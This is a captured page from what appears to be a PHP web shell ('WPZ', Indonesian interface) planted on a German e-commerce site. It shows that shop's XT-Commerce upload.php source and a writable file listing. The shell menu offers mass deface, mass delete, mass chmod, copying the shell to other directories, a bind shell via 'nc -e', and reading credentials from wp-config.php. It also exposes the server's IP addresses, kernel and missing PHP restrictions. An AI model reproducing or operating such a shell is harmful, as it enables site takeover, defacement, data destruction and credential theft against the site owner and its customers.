WPZ

berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/admin/includes/classes/upload.php (5.56 KB)
<?php
/* --------------------------------------------------------------
   $Id: upload.php 950 2005-05-14 16:45:21Z mz $   

   XT-Commerce - community made shopping
   http://www.xt-commerce.com

   Copyright (c) 2003 XT-Commerce
   --------------------------------------------------------------
   based on: 
   (c) 2000-2001 The Exchange Project  (earlier name of osCommerce)
   (c) 2002-2003 osCommerce(upload.php,v 1.1 2003/03/22); www.oscommerce.com 
   (c) 2003	 nextcommerce (upload.php,v 1.7 2003/08/18); www.nextcommerce.org

   Released under the GNU General Public License 
   --------------------------------------------------------------*/
defined( '_VALID_XTC' ) or die( 'Direct Access to this location is not allowed.' );
  class upload {
    var $file, $filename, $destination, $permissions, $extensions, $tmp_filename;

    function upload($file = '', $destination = '', $permissions = '777', $extensions = '') {

      $this->set_file($file);
      $this->set_destination($destination);
      $this->set_permissions($permissions);
      $this->set_extensions($extensions);

      if (xtc_not_null($this->file) && xtc_not_null($this->destination)) {
        if ( ($this->parse() == true) && ($this->save() == true) ) {
          return true;
        } else {
          return false;
        }
      }
    }

    function parse() {
      global $messageStack;
      if (isset($_FILES[$this->file])) {
        $file = array('name' => $_FILES[$this->file]['name'],
                      'type' => $_FILES[$this->file]['type'],
                      'size' => $_FILES[$this->file]['size'],
                      'tmp_name' => $_FILES[$this->file]['tmp_name']);
      } else {
        $file = array('name' => $GLOBALS[$this->file . '_name'],
                      'type' => $GLOBALS[$this->file . '_type'],
                      'size' => $GLOBALS[$this->file . '_size'],
                      'tmp_name' => $GLOBALS[$this->file]);
      }

      if ( xtc_not_null($file['tmp_name']) && ($file['tmp_name'] != 'none') && (is_uploaded_file($file['tmp_name']) || defined( 'SUPPRESS_UPLOAD_CHECKS' ) ) ) {
        if (sizeof($this->extensions) > 0) {
          if (!in_array(strtolower(substr($file['name'], strrpos($file['name'], '.')+1)), $this->extensions)) {
            $messageStack->add_session(ERROR_FILETYPE_NOT_ALLOWED, 'error');

            return false;
          }
        }

        $this->set_file($file);
        $this->set_filename($file['name']);
        $this->set_tmp_filename($file['tmp_name']);

        return $this->check_destination();
      } else {

        if ($file['tmp_name']=='none') $messageStack->add_session(WARNING_NO_FILE_UPLOADED, 'warning');

        return false;
      }
    }

    function save() {
      global $messageStack;

      if (substr($this->destination, -1) != '/') $this->destination .= '/';

      // GDlib check
      if (!function_exists(imagecreatefromgif)) {

        // check if uploaded file = gif
        if ($this->destination==DIR_FS_CATALOG_ORIGINAL_IMAGES) {
            // check if merge image is defined .gif
            if (strstr(PRODUCT_IMAGE_THUMBNAIL_MERGE,'.gif') ||
                strstr(PRODUCT_IMAGE_INFO_MERGE,'.gif') ||
                strstr(PRODUCT_IMAGE_POPUP_MERGE,'.gif')) {

                $messageStack->add_session(ERROR_GIF_MERGE, 'error');
                return false;

            }
            // check if uploaded image = .gif
            if (strstr($this->filename,'.gif')) {
             $messageStack->add_session(ERROR_GIF_UPLOAD, 'error');
             return false;
            }

        }

      }


      if ( defined( 'SUPPRESS_UPLOAD_CHECKS' ) && rename($this->file['tmp_name'], $this->destination . $this->filename)) {
        chmod($this->destination . $this->filename, $this->permissions);

        $messageStack->add_session(SUCCESS_FILE_SAVED_SUCCESSFULLY, 'success');

        return true;
      } elseif (move_uploaded_file($this->file['tmp_name'], $this->destination . $this->filename)) {
        chmod($this->destination . $this->filename, $this->permissions);

        $messageStack->add_session(SUCCESS_FILE_SAVED_SUCCESSFULLY, 'success');

        return true;
      } else {
        $messageStack->add_session(ERROR_FILE_NOT_SAVED, 'error');

        return false;
      }
    }

    function set_file($file) {
      $this->file = $file;
    }

    function set_destination($destination) {
      $this->destination = $destination;
    }

    function set_permissions($permissions) {
      $this->permissions = octdec($permissions);
    }

    function set_filename($filename) {
      $this->filename = $filename;
    }

    function set_tmp_filename($filename) {
      $this->tmp_filename = $filename;
    }

    function set_extensions($extensions) {
      if (xtc_not_null($extensions)) {
        if (is_array($extensions)) {
          $this->extensions = $extensions;
        } else {
          $this->extensions = array($extensions);
        }
      } else {
        $this->extensions = array();
      }
    }

    function check_destination() {
      global $messageStack;

      if (!is_writeable($this->destination)) {
        if (is_dir($this->destination)) {
          $messageStack->add_session(sprintf(ERROR_DESTINATION_NOT_WRITEABLE, $this->destination), 'error');
        } else {
          $messageStack->add_session(sprintf(ERROR_DESTINATION_DOES_NOT_EXIST, $this->destination), 'error');
        }

        return false;
      } else {
        return true;
      }
    }

  }
?>
namawaktuukuranownerpermaksi
..
box.php 2013-11-12 20:542.49 KB 76129f60960:kunden-xw-x-----
edt
campaigns.php 2013-11-12 20:5411.88 KB 76129f60960:kunden-xw-x-----
edt
categories.php 2013-11-12 20:5491.35 KB 76129f60960:kunden-xw-x-----
edt
class.paypal.php 2013-11-12 20:5417.41 KB 76129f60960:kunden-xw-x-----
edt
currencies.php 2013-11-12 20:543.79 KB 76129f60960:kunden-xw-x-----
edt
image_manipulator_GD1.php 2013-11-12 20:5414.45 KB 76129f60960:kunden-xw-x-----
edt
image_manipulator_GD2.php 2013-11-12 20:5414.7 KB 76129f60960:kunden-xw-x-----
edt
import.php 2013-11-12 20:5450.53 KB 76129f60960:kunden-xw-x-----
edt
language.php 2013-11-12 20:546.31 KB 76129f60960:kunden-xw-x-----
edt
logger.php 2013-11-12 20:541.86 KB 76129f60960:kunden-xw-x-----
edt
message_stack.php 2013-11-12 20:542.67 KB 76129f60960:kunden-xw-x-----
edt
object_info.php 2013-11-12 20:541 KB 76129f60960:kunden-xw-x-----
edt
order.php 2013-11-12 20:5412.19 KB 76129f60960:kunden-xw-x-----
edt
payment_module_info.php 2013-11-12 20:541.59 KB 76129f60960:kunden-xw-x-----
edt
pclzip.lib.php 2013-11-12 20:54266.23 KB 76129f60960:kunden-xw-x-----
edt
phplot.php 2013-11-12 20:54313.95 KB 76129f60960:kunden-xw-x-----
edt
phpmailer.lang-de.php 2013-11-12 20:541.21 KB 76129f60960:kunden-xw-x-----
edt
phpmailer.lang-en.php 2013-11-12 20:541.04 KB 76129f60960:kunden-xw-x-----
edt
sales_report.php 2013-11-12 20:5410.94 KB 76129f60960:kunden-xw-x-----
edt
sessions.php 2013-11-12 20:5413.33 KB 76129f60960:kunden-xw-x-----
edt
shopping_cart.php 2013-11-12 20:5414 KB 76129f60960:kunden-xw-x-----
edt
split_page_results.php 2013-11-12 20:544.77 KB 76129f60960:kunden-xw-x-----
edt
table_block.php 2013-11-12 20:543.72 KB 76129f60960:kunden-xw-x-----
edt
upload.php 2013-11-12 20:545.56 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/admin/includes/classes
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK